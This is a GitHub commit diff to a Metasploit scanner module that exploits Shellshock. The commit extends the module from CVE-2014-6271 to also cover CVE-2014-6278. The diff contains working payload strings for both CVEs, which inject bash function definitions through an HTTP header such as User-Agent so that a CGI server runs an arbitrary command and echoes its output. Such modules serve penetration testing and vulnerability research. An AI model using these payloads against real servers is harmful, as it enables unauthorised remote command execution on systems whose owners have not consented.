Skip to content

Commit 77bb2df

Browse files
author
HD Moore
committed
Adds support for both CVEs, lands rapid7#3931
2 parents 3ec6166 + 51bc5f5 commit 77bb2df

File tree

1 file changed

+22
-7
lines changed

1 file changed

+22
-7
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 22 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,12 @@ def initialize(info = {})
2929
},
3030
'Author' => [
3131
'Stephane Chazelas', # Vulnerability discovery
32-
'wvu' # Metasploit module
32+
'wvu', # Metasploit module
33+
'lcamtuf' # CVE-2014-6278
3334
],
3435
'References' => [
3536
['CVE', '2014-6271'],
37+
['CVE', '2014-6278'],
3638
['OSVDB', '112004'],
3739
['EDB', '34765'],
3840
['URL', 'https://access.redhat.com/articles/1200223'],
@@ -47,12 +49,14 @@ def initialize(info = {})
4749
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
4850
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
4951
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
50-
'/usr/bin/id'])
52+
'/usr/bin/id']),
53+
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271',
54+
['CVE-2014-6271', 'CVE-2014-6278']])
5155
], self.class)
5256
end
5357

5458
def check_host(ip)
55-
res = req("echo #{marker}")
59+
res = req("echo #{marker}", datastore['CVE'])
5660

5761
if res && res.body.include?(marker * 3)
5862
report_vuln(
@@ -85,7 +89,7 @@ def check_host(ip)
8589
def run_host(ip)
8690
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
8791

88-
res = req(datastore['CMD'])
92+
res = req(datastore['CMD'], datastore['CVE'])
8993

9094
if res && res.body =~ /#{marker}(.+)#{marker}/m
9195
print_good("#{peer} - #{$1}")
@@ -98,20 +102,31 @@ def run_host(ip)
98102
end
99103
end
100104

101-
def req(cmd)
105+
def req(cmd, cve)
106+
case cve
107+
when 'CVE-2014-6271'
108+
sploit = cve_2014_6271(cmd)
109+
when 'CVE-2014-6278'
110+
sploit = cve_2014_6278(cmd)
111+
end
112+
102113
send_request_cgi(
103114
'method' => datastore['METHOD'],
104115
'uri' => normalize_uri(target_uri.path),
105116
'headers' => {
106-
datastore['HEADER'] => sploit(cmd)
117+
datastore['HEADER'] => sploit
107118
}
108119
)
109120
end
110121

111-
def sploit(cmd)
122+
def cve_2014_6271(cmd)
112123
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
113124
end
114125

126+
def cve_2014_6278(cmd)
127+
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}
128+
end
129+
115130
def marker
116131
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
117132
end

0 commit comments

Comments
 (0)